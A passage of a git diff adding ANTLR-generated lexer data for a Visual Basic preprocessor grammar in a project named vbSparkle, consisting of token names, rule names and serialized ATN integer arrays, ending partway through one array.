562,1,0,0,0,564,565,1,0,0,0,565,566,1,0,0,0,566,568,3,97,48,0,567,569, + 7,4,0,0,568,567,1,0,0,0,569,570,1,0,0,0,570,568,1,0,0,0,570,571,1,0,0, + 0,571,572,1,0,0,0,572,573,3,107,53,0,573,132,1,0,0,0,574,576,3,141,70, + 0,575,574,1,0,0,0,575,576,1,0,0,0,576,577,1,0,0,0,577,579,3,5,2,0,578, + 580,3,141,70,0,579,578,1,0,0,0,579,580,1,0,0,0,580,134,1,0,0,0,581,585, + 3,149,74,0,582,584,3,151,75,0,583,582,1,0,0,0,584,587,1,0,0,0,585,583, + 1,0,0,0,585,586,1,0,0,0,586,136,1,0,0,0,587,585,1,0,0,0,588,590,3,141, + 70,0,589,588,1,0,0,0,589,590,1,0,0,0,590,598,1,0,0,0,591,599,5,39,0,0, + 592,594,5,58,0,0,593,592,1,0,0,0,593,594,1,0,0,0,594,595,1,0,0,0,595,596, + 3,145,72,0,596,597,5,32,0,0,597,599,1,0,0,0,598,591,1,0,0,0,598,593,1, + 0,0,0,599,604,1,0,0,0,600,603,3,139,69,0,601,603,8,7,0,0,602,600,1,0,0, + 0,602,601,1,0,0,0,603,606,1,0,0,0,604,602,1,0,0,0,604,605,1,0,0,0,605, + 138,1,0,0,0,606,604,1,0,0,0,607,608,5,32,0,0,608,610,5,95,0,0,609,611, + 5,13,0,0,610,609,1,0,0,0,610,611,1,0,0,0,611,612,1,0,0,0,612,613,5,10, + 0,0,613,614,1,0,0,0,614,615,6,69,0,0,615,140,1,0,0,0,616,618,7,8,0,0,617, + 616,1,0,0,0,618,619,1,0,0,0,619,617,1,0,0,0,619,620,1,0,0,0,620,142,1, + 0,0,0,621,622,9,0,0,0,622,144,1,0,0,0,623,624,3,187,93,0,624,625,3,161, + 80,0,625,626,3,177,88,0,626,146,1,0,0,0,627,629,3,141,70,0,628,627,1,0, + 0,0,628,629,1,0,0,0,629,630,1,0,0,0,630,632,3,135,67,0,631,633,3,141,70, + 0,632,631,1,0,0,0,632,633,1,0,0,0,633,634,1,0,0,0,634,636,3,3,1,0,635, + 637,3,141,70,0,636,635,1,0,0,0,636,637,1,0,0,0,637,148,1,0,0,0,638,639, + 7,9,0,0,639,150,1,0,0,0,640,641,7,10,0,0,641,152,1,0,0,0,642,643,7,11, + 0,0,643,154,1,0,0,0,644,645,7,12,0,0,645,156,1,0,0,0,646,647,7,13,0,0, + 647,158,1,0,0,0,648,649,7,14,0,0,649,160,1,0,0,0,650,651,7,5,0,0,651,162, + 1,0,0,0,652,653,7,15,0,0,653,164,1,0,0,0,654,655,7,16,0,0,655,166,1,0, + 0,0,656,657,7,17,0,0,657,168,1,0,0,0,658,659,7,18,0,0,659,170,1,0,0,0, + 660,661,7,19,0,0,661,172,1,0,0,0,662,663,7,20,0,0,663,174,1,0,0,0,664, + 665,7,21,0,0,665,176,1,0,0,0,666,667,7,22,0,0,667,178,1,0,0,0,668,669, + 7,23,0,0,669,180,1,0,0,0,670,671,7,24,0,0,671,182,1,0,0,0,672,673,7,25, + 0,0,673,184,1,0,0,0,674,675,7,26,0,0,675,186,1,0,0,0,676,677,7,27,0,0, + 677,188,1,0,0,0,678,679,7,28,0,0,679,190,1,0,0,0,680,681,7,29,0,0,681, + 192,1,0,0,0,682,683,7,30,0,0,683,194,1,0,0,0,684,685,7,31,0,0,685,196, + 1,0,0,0,686,687,7,32,0,0,687,198,1,0,0,0,688,689,7,33,0,0,689,200,1,0, + 0,0,690,691,7,34,0,0,691,202,1,0,0,0,692,693,7,35,0,0,693,204,1,0,0,0, + 39,0,212,216,444,446,455,464,469,472,477,483,490,495,502,507,512,516,523, + 529,537,540,546,552,558,564,570,575,579,585,589,593,598,602,604,610,619, + 628,632,636,1,0,1,0 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.interp b/Sources/vbSparkle/VBPreprocessorsLexer.interp new file mode 100644 index 0000000..a3459a3 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.interp @@ -0,0 +1,263 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +'@' +',' +null +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'*' +'<>' +'+' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null + +token symbolic names: +null +MACRO_CONST +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L + +rule names: +MACRO_CONST +DOUBLE_DOT +NL +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L +LETTER +LETTERORDIGIT +A +B +C +D +E +F +G +H +I +J +K +L +M +N +O +P +Q +R +S +T +U +V +W +X +Y +Z + +channel names: +DEFAULT_TOKEN_CHANNEL +HIDDEN + +mode names: +DEFAULT_MODE + +atn: +[4, 0, 72, 694, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 2, 3, 2, 213, 8, 2, 1, 2, 1, 2, 3, 2, 217, 8, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 16, 1, 16, 1, 16, 1, 17, 1, 17, 1, 17, 1, 17, 1, 18, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 1, 21, 1, 22, 1, 22, 1, 22, 1, 23, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 1, 25, 1, 25, 1, 25, 1, 25, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 29, 1, 29, 1, 29, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 1, 34, 1, 34, 1, 35, 1, 35, 1, 36, 1, 36, 1, 37, 1, 37, 1, 38, 1, 38, 1, 39, 1, 39, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 43, 1, 43, 1, 44, 1, 44, 1, 44, 1, 45, 1, 45, 1, 46, 1, 46, 1, 47, 1, 47, 1, 48, 1, 48, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 51, 1, 51, 1, 52, 1, 52, 1, 53, 1, 53, 1, 54, 1, 54, 1, 55, 1, 55, 1, 56, 1, 56, 1, 57, 1, 57, 1, 58, 1, 58, 1, 58, 1, 58, 5, 58, 445, 8, 58, 10, 58, 12, 58, 448, 9, 58, 1, 58, 1, 58, 1, 59, 1, 59, 5, 59, 454, 8, 59, 10, 59, 12, 59, 457, 9, 59, 1, 59, 1, 59, 1, 60, 1, 60, 1, 60, 1, 60, 3, 60, 465, 8, 60, 1, 60, 4, 60, 468, 8, 60, 11, 60, 12, 60, 469, 1, 60, 3, 60, 473, 8, 60, 1, 61, 4, 61, 476, 8, 61, 11, 61, 12, 61, 477, 1, 61, 1, 61, 5, 61, 482, 8, 61, 10, 61, 12, 61, 485, 9, 61, 1, 61, 1, 61, 1, 61, 1, 61, 3, 61, 491, 8, 61, 1, 62, 5, 62, 494, 8, 62, 10, 62, 12, 62, 497, 9, 62, 1, 62, 1, 62, 4, 62, 501, 8, 62, 11, 62, 12, 62, 502, 1, 62, 1, 62, 1, 62, 3, 62, 508, 8, 62, 1, 62, 4, 62, 511, 8, 62, 11, 62, 12, 62, 512, 5, 62, 515, 8, 62, 10, 62, 12, 62, 518, 9, 62, 1, 62, 1, 62, 1, 62, 1, 62, 3, 62, 524, 8, 62, 1, 63, 1, 63, 4, 63, 528, 8, 63, 11, 63, 12, 63, 529, 1, 64, 1, 64, 1, 64, 1, 64, 4, 64, 536, 8, 64, 11, 64, 12, 64, 537, 1, 64, 3, 64, 541, 8, 64, 1, 65, 1, 65, 4, 65, 545, 8, 65, 11, 65, 12, 65, 546, 1, 65, 1, 65, 4, 65, 551, 8, 65, 11, 65, 12, 65, 552, 1, 65, 1, 65, 4, 65, 557, 8, 65, 11, 65, 12, 65, 558, 1, 65, 1, 65, 4, 65, 563, 8, 65, 11, 65, 12, 65, 564, 1, 65, 1, 65, 4, 65, 569, 8, 65, 11, 65, 12, 65, 570, 1, 65, 1, 65, 1, 66, 3, 66, 576, 8, 66, 1, 66, 1, 66, 3, 66, 580, 8, 66, 1, 67, 1, 67, 5, 67, 584, 8, 67, 10, 67, 12, 67, 587, 9, 67, 1, 68, 3, 68, 590, 8, 68, 1, 68, 1, 68, 3, 68, 594, 8, 68, 1, 68, 1, 68, 1, 68, 3, 68, 599, 8, 68, 1, 68, 1, 68, 5, 68, 603, 8, 68, 10, 68, 12, 68, 606, 9, 68, 1, 69, 1, 69, 1, 69, 3, 69, 611, 8, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 70, 4, 70, 618, 8, 70, 11, 70, 12, 70, 619, 1, 71, 1, 71, 1, 72, 1, 72, 1, 72, 1, 72, 1, 73, 3, 73, 629, 8, 73, 1, 73, 1, 73, 3, 73, 633, 8, 73, 1, 73, 1, 73, 3, 73, 637, 8, 73, 1, 74, 1, 74, 1, 75, 1, 75, 1, 76, 1, 76, 1, 77, 1, 77, 1, 78, 1, 78, 1, 79, 1, 79, 1, 80, 1, 80, 1, 81, 1, 81, 1, 82, 1, 82, 1, 83, 1, 83, 1, 84, 1, 84, 1, 85, 1, 85, 1, 86, 1, 86, 1, 87, 1, 87, 1, 88, 1, 88, 1, 89, 1, 89, 1, 90, 1, 90, 1, 91, 1, 91, 1, 92, 1, 92, 1, 93, 1, 93, 1, 94, 1, 94, 1, 95, 1, 95, 1, 96, 1, 96, 1, 97, 1, 97, 1, 98, 1, 98, 1, 99, 1, 99, 1, 100, 1, 100, 1, 101, 1, 101, 0, 0, 102, 1, 1, 3, 0, 5, 0, 7, 2, 9, 3, 11, 4, 13, 5, 15, 6, 17, 7, 19, 8, 21, 9, 23, 10, 25, 11, 27, 12, 29, 13, 31, 14, 33, 15, 35, 16, 37, 17, 39, 18, 41, 19, 43, 20, 45, 21, 47, 22, 49, 23, 51, 24, 53, 25, 55, 26, 57, 27, 59, 28, 61, 29, 63, 30, 65, 31, 67, 32, 69, 33, 71, 34, 73, 35, 75, 36, 77, 37, 79, 38, 81, 39, 83, 40, 85, 41, 87, 42, 89, 43, 91, 44, 93, 45, 95, 46, 97, 47, 99, 48, 101, 49, 103, 50, 105, 51, 107, 52, 109, 53, 111, 54, 113, 55, 115, 56, 117, 57, 119, 58, 121, 59, 123, 60, 125, 61, 127, 62, 129, 63, 131, 64, 133, 65, 135, 66, 137, 67, 139, 68, 141, 69, 143, 70, 145, 71, 147, 72, 149, 0, 151, 0, 153, 0, 155, 0, 157, 0, 159, 0, 161, 0, 163, 0, 165, 0, 167, 0, 169, 0, 171, 0, 173, 0, 175, 0, 177, 0, 179, 0, 181, 0, 183, 0, 185, 0, 187, 0, 189, 0, 191, 0, 193, 0, 195, 0, 197, 0, 199, 0, 201, 0, 203, 0, 1, 0, 36, 1, 1, 13, 13, 2, 0, 47, 47, 92, 92, 3, 0, 10, 10, 13, 13, 34, 34, 3, 0, 10, 10, 13, 13, 35, 35, 2, 0, 48, 57, 65, 70, 2, 0, 69, 69, 101, 101, 1, 0, 48, 55, 2, 0, 10, 10, 13, 13, 2, 0, 9, 9, 32, 32, 24, 0, 65, 90, 95, 95, 97, 122, 160, 164, 167, 170, 172, 174, 178, 182, 185, 189, 195, 197, 225, 225, 338, 339, 352, 353, 381, 381, 402, 402, 710, 710, 8211, 8211, 8217, 8218, 8220, 8222, 8225, 8226, 8240, 8240, 8250, 8250, 8364, 8364, 8482, 8482, 65533, 65533, 25, 0, 48, 57, 65, 90, 95, 95, 97, 122, 160, 164, 167, 170, 172, 174, 178, 182, 185, 189, 195, 197, 225, 225, 338, 339, 352, 353, 381, 381, 402, 402, 710, 710, 8211, 8211, 8217, 8218, 8220, 8222, 8225, 8226, 8240, 8240, 8250, 8250, 8364, 8364, 8482, 8482, 65533, 65533, 2, 0, 65, 65, 97, 97, 2, 0, 66, 66, 98, 98, 2, 0, 67, 67, 99, 99, 2, 0, 68, 68, 100, 100, 2, 0, 70, 70, 102, 102, 2, 0, 71, 71, 103, 103, 2, 0, 72, 72, 104, 104, 2, 0, 73, 73, 105, 105, 2, 0, 74, 74, 106, 106, 2, 0, 75, 75, 107, 107, 2, 0, 76, 76, 108, 108, 2, 0, 77, 77, 109, 109, 2, 0, 78, 78, 110, 110, 2, 0, 79, 79, 111, 111, 2, 0, 80, 80, 112, 112, 2, 0, 81, 81, 113, 113, 2, 0, 82, 82, 114, 114, 2, 0, 83, 83, 115, 115, 2, 0, 84, 84, 116, 116, 2, 0, 85, 85, 117, 117, 2, 0, 86, 86, 118, 118, 2, 0, 87, 87, 119, 119, 2, 0, 88, 88, 120, 120, 2, 0, 89, 89, 121, 121, 2, 0, 90, 90, 122, 122, 708, 0, 1, 1, 0, 0, 0, 0, 7, 1, 0, 0, 0, 0, 9, 1, 0, 0, 0, 0, 11, 1, 0, 0, 0, 0, 13, 1, 0, 0, 0, 0, 15, 1, 0, 0, 0, 0, 17, 1, 0, 0, 0, 0, 19, 1, 0, 0, 0, 0, 21, 1, 0, 0, 0, 0, 23, 1, 0, 0, 0, 0, 25, 1, 0, 0, 0, 0, 27, 1, 0, 0, 0, 0, 29, 1, 0, 0, 0, 0, 31, 1, 0, 0, 0, 0, 33, 1, 0, 0, 0, 0, 35, 1, 0, 0, 0, 0, 37, 1, 0, 0, 0, 0, 39, 1, 0, 0, 0, 0, 41, 1, 0, 0, 0, 0, 43, 1, 0, 0, 0, 0, 45, 1, 0, 0, 0, 0, 47, 1, 0, 0, 0, 0, 49, 1, 0, 0, 0, 0, 51, 1, 0, 0, 0, 0, 53, 1, 0, 0, 0, 0, 55, 1, 0, 0, 0, 0, 57, 1, 0, 0, 0, 0, 59, 1, 0, 0, 0, 0, 61, 1, 0, 0, 0, 0, 63, 1, 0, 0, 0, 0, 65, 1, 0, 0, 0, 0, 67, 1, 0, 0, 0, 0, 69, 1, 0, 0, 0, 0, 71, 1, 0, 0, 0, 0, 73, 1, 0, 0, 0, 0, 75, 1, 0, 0, 0, 0, 77, 1, 0, 0, 0, 0, 79, 1, 0, 0, 0, 0, 81, 1, 0, 0, 0, 0, 83, 1, 0, 0, 0, 0, 85, 1, 0, 0, 0, 0, 87, 1, 0, 0, 0, 0, 89, 1, 0, 0, 0, 0, 91, 1, 0, 0, 0, 0, 93, 1, 0, 0, 0, 0, 95, 1, 0, 0, 0, 0, 97, 1, 0, 0, 0, 0, 99, 1, 0, 0, 0, 0, 101, 1, 0, 0, 0, 0, 103, 1, 0, 0, 0, 0, 105, 1, 0, 0, 0, 0, 107, 1, 0, 0, 0, 0, 109, 1, 0, 0, 0, 0, 111, 1, 0, 0, 0, 0, 113, 1, 0, 0, 0, 0, 115, 1, 0, 0, 0, 0, 117, 1, 0, 0, 0, 0, 119, 1, 0, 0, 0, 0, 121, 1, 0, 0, 0, 0, 123, 1, 0, 0, 0, 0, 125, 1, 0, 0, 0, 0, 127, 1, 0, 0, 0, 0, 129, 1, 0, 0, 0, 0, 131, 1, 0, 0, 0, 0, 133, 1, 0, 0, 0, 0, 135, 1, 0, 0, 0, 0, 137, 1, 0, 0, 0, 0, 139, 1, 0, 0, 0, 0, 141, 1, 0, 0, 0, 0, 143, 1, 0, 0, 0, 0, 145, 1, 0, 0, 0, 0, 147, 1, 0, 0, 0, 1, 205, 1, 0, 0, 0, 3, 209, 1, 0, 0, 0, 5, 216, 1, 0, 0, 0, 7, 218, 1, 0, 0, 0, 9, 222, 1, 0, 0, 0, 11, 232, 1, 0, 0, 0, 13, 238, 1, 0, 0, 0, 15, 252, 1, 0, 0, 0, 17, 258, 1, 0, 0, 0, 19, 264, 1, 0, 0, 0, 21, 269, 1, 0, 0, 0, 23, 276, 1, 0, 0, 0, 25, 283, 1, 0, 0, 0, 27, 287, 1, 0, 0, 0, 29, 299, 1, 0, 0, 0, 31, 303, 1, 0, 0, 0, 33, 309, 1, 0, 0, 0, 35, 312, 1, 0, 0, 0, 37, 316, 1, 0, 0, 0, 39, 319, 1, 0, 0, 0, 41, 324, 1, 0, 0, 0, 43, 327, 1, 0, 0, 0, 45, 330, 1, 0, 0, 0, 47, 333, 1, 0, 0, 0, 49, 336, 1, 0, 0, 0, 51, 340, 1, 0, 0, 0, 53, 344, 1, 0, 0, 0, 55, 352, 1, 0, 0, 0, 57, 357, 1, 0, 0, 0, 59, 364, 1, 0, 0, 0, 61, 367, 1, 0, 0, 0, 63, 372, 1, 0, 0, 0, 65, 377, 1, 0, 0, 0, 67, 385, 1, 0, 0, 0, 69, 389, 1, 0, 0, 0, 71, 391, 1, 0, 0, 0, 73, 393, 1, 0, 0, 0, 75, 395, 1, 0, 0, 0, 77, 397, 1, 0, 0, 0, 79, 399, 1, 0, 0, 0, 81, 401, 1, 0, 0, 0, 83, 403, 1, 0, 0, 0, 85, 406, 1, 0, 0, 0, 87, 408, 1, 0, 0, 0, 89, 410, 1, 0, 0, 0, 91, 413, 1, 0, 0, 0, 93, 415, 1, 0, 0, 0, 95, 417, 1, 0, 0, 0, 97, 419, 1, 0, 0, 0, 99, 421, 1, 0, 0, 0, 101, 423, 1, 0, 0, 0, 103, 426, 1, 0, 0, 0, 105, 428, 1, 0, 0, 0, 107, 430, 1, 0, 0, 0, 109, 432, 1, 0, 0, 0, 111, 434, 1, 0, 0, 0, 113, 436, 1, 0, 0, 0, 115, 438, 1, 0, 0, 0, 117, 440, 1, 0, 0, 0, 119, 451, 1, 0, 0, 0, 121, 464, 1, 0, 0, 0, 123, 475, 1, 0, 0, 0, 125, 495, 1, 0, 0, 0, 127, 525, 1, 0, 0, 0, 129, 531, 1, 0, 0, 0, 131, 542, 1, 0, 0, 0, 133, 575, 1, 0, 0, 0, 135, 581, 1, 0, 0, 0, 137, 589, 1, 0, 0, 0, 139, 607, 1, 0, 0, 0, 141, 617, 1, 0, 0, 0, 143, 621, 1, 0, 0, 0, 145, 623, 1, 0, 0, 0, 147, 628, 1, 0, 0, 0, 149, 638, 1, 0, 0, 0, 151, 640, 1, 0, 0, 0, 153, 642, 1, 0, 0, 0, 155, 644, 1, 0, 0, 0, 157, 646, 1, 0, 0, 0, 159, 648, 1, 0, 0, 0, 161, 650, 1, 0, 0, 0, 163, 652, 1, 0, 0, 0, 165, 654, 1, 0, 0, 0, 167, 656, 1, 0, 0, 0, 169, 658, 1, 0, 0, 0, 171, 660, 1, 0, 0, 0, 173, 662, 1, 0, 0, 0, 175, 664, 1, 0, 0, 0, 177, 666, 1, 0, 0, 0, 179, 668, 1, 0, 0, 0, 181, 670, 1, 0, 0, 0, 183, 672, 1, 0, 0, 0, 185, 674, 1, 0, 0, 0, 187, 676, 1, 0, 0, 0, 189, 678, 1, 0, 0, 0, 191, 680, 1, 0, 0, 0, 193, 682, 1, 0, 0, 0, 195, 684, 1, 0, 0, 0, 197, 686, 1, 0, 0, 0, 199, 688, 1, 0, 0, 0, 201, 690, 1, 0, 0, 0, 203, 692, 1, 0, 0, 0, 205, 206, 3, 87, 43, 0, 206, 207, 3, 17, 8, 0, 207, 208, 3, 141, 70, 0, 208, 2, 1, 0, 0, 0, 209, 210, 5, 58, 0, 0, 210, 4, 1, 0, 0, 0, 211, 213, 5, 13, 0, 0, 212, 211, 1, 0, 0, 0, 212, 213, 1, 0, 0, 0, 213, 214, 1, 0, 0, 0, 214, 217, 5, 10, 0, 0, 215, 217, 7, 0, 0, 0, 216, 212, 1, 0, 0, 0, 216, 215, 1, 0, 0, 0, 217, 6, 1, 0, 0, 0, 218, 219, 3, 153, 76, 0, 219, 220, 3, 179, 89, 0, 220, 221, 3, 159, 79, 0, 221, 8, 1, 0, 0, 0, 222, 223, 3, 153, 76, 0, 223, 224, 3, 191, 95, 0, 224, 225, 3, 191, 95, 0, 225, 226, 3, 187, 93, 0, 226, 227, 3, 169, 84, 0, 227, 228, 3, 155, 77, 0, 228, 229, 3, 193, 96, 0, 229, 230, 3, 191, 95, 0, 230, 231, 3, 161, 80, 0, 231, 10, 1, 0, 0, 0, 232, 233, 3, 155, 77, 0, 233, 234, 3, 161, 80, 0, 234, 235, 3, 165, 82, 0, 235, 236, 3, 169, 84, 0, 236, 237, 3, 179, 89, 0, 237, 12, 1, 0, 0, 0, 238, 239, 3, 155, 77, 0, 239, 240, 3, 161, 80, 0, 240, 241, 3, 165, 82, 0, 241, 242, 3, 169, 84, 0, 242, 243, 3, 179, 89, 0, 243, 244, 3, 183, 91, 0, 244, 245, 3, 187, 93, 0, 245, 246, 3, 181, 90, 0, 246, 247, 3, 183, 91, 0, 247, 248, 3, 161, 80, 0, 248, 249, 3, 187, 93, 0, 249, 250, 3, 191, 95, 0, 250, 251, 3, 201, 100, 0, 251, 14, 1, 0, 0, 0, 252, 253, 3, 157, 78, 0, 253, 254, 3, 175, 87, 0, 254, 255, 3, 153, 76, 0, 255, 256, 3, 189, 94, 0, 256, 257, 3, 189, 94, 0, 257, 16, 1, 0, 0, 0, 258, 259, 3, 157, 78, 0, 259, 260, 3, 181, 90, 0, 260, 261, 3, 179, 89, 0, 261, 262, 3, 189, 94, 0, 262, 263, 3, 191, 95, 0, 263, 18, 1, 0, 0, 0, 264, 265, 3, 161, 80, 0, 265, 266, 3, 175, 87, 0, 266, 267, 3, 189, 94, 0, 267, 268, 3, 161, 80, 0, 268, 20, 1, 0, 0, 0, 269, 270, 3, 161, 80, 0, 270, 271, 3, 175, 87, 0, 271, 272, 3, 189, 94, 0, 272, 273, 3, 161, 80, 0, 273, 274, 3, 169, 84, 0, 274, 275, 3, 163, 81, 0, 275, 22, 1, 0, 0, 0, 276, 277, 3, 161, 80, 0, 277, 278, 3, 179, 89, 0, 278, 279, 3, 159, 79, 0, 279, 280, 5, 32, 0, 0, 280, 281, 3, 169, 84, 0, 281, 282, 3, 163, 81, 0, 282, 24, 1, 0, 0, 0, 283, 284, 3, 161, 80, 0, 284, 285, 3, 179, 89, 0, 285, 286, 3, 159, 79, 0, 286, 26, 1, 0, 0, 0, 287, 288, 3, 161, 80, 0, 288, 289, 3, 179, 89, 0, 289, 290, 3, 159, 79, 0, 290, 291, 3, 183, 91, 0, 291, 292, 3, 187, 93, 0, 292, 293, 3, 181, 90, 0, 293, 294, 3, 183, 91, 0, 294, 295, 3, 161, 80, 0, 295, 296, 3, 187, 93, 0, 296, 297, 3, 191, 95, 0, 297, 298, 3, 201, 100, 0, 298, 28, 1, 0, 0, 0, 299, 300, 3, 161, 80, 0, 300, 301, 3, 185, 92, 0, 301, 302, 3, 195, 97, 0, 302, 30, 1, 0, 0, 0, 303, 304, 3, 163, 81, 0, 304, 305, 3, 153, 76, 0, 305, 306, 3, 175, 87, 0, 306, 307, 3, 189, 94, 0, 307, 308, 3, 161, 80, 0, 308, 32, 1, 0, 0, 0, 309, 310, 3, 169, 84, 0, 310, 311, 3, 163, 81, 0, 311, 34, 1, 0, 0, 0, 312, 313, 3, 169, 84, 0, 313, 314, 3, 177, 88, 0, 314, 315, 3, 183, 91, 0, 315, 36, 1, 0, 0, 0, 316, 317, 3, 169, 84, 0, 317, 318, 3, 189, 94, 0, 318, 38, 1, 0, 0, 0, 319, 320, 3, 175, 87, 0, 320, 321, 3, 169, 84, 0, 321, 322, 3, 173, 86, 0, 322, 323, 3, 161, 80, 0, 323, 40, 1, 0, 0, 0, 324, 325, 3, 87, 43, 0, 325, 326, 3, 33, 16, 0, 326, 42, 1, 0, 0, 0, 327, 328, 3, 87, 43, 0, 328, 329, 3, 21, 10, 0, 329, 44, 1, 0, 0, 0, 330, 331, 3, 87, 43, 0, 331, 332, 3, 19, 9, 0, 332, 46, 1, 0, 0, 0, 333, 334, 3, 87, 43, 0, 334, 335, 3, 23, 11, 0, 335, 48, 1, 0, 0, 0, 336, 337, 3, 177, 88, 0, 337, 338, 3, 181, 90, 0, 338, 339, 3, 159, 79, 0, 339, 50, 1, 0, 0, 0, 340, 341, 3, 179, 89, 0, 341, 342, 3, 181, 90, 0, 342, 343, 3, 191, 95, 0, 343, 52, 1, 0, 0, 0, 344, 345, 3, 179, 89, 0, 345, 346, 3, 181, 90, 0, 346, 347, 3, 191, 95, 0, 347, 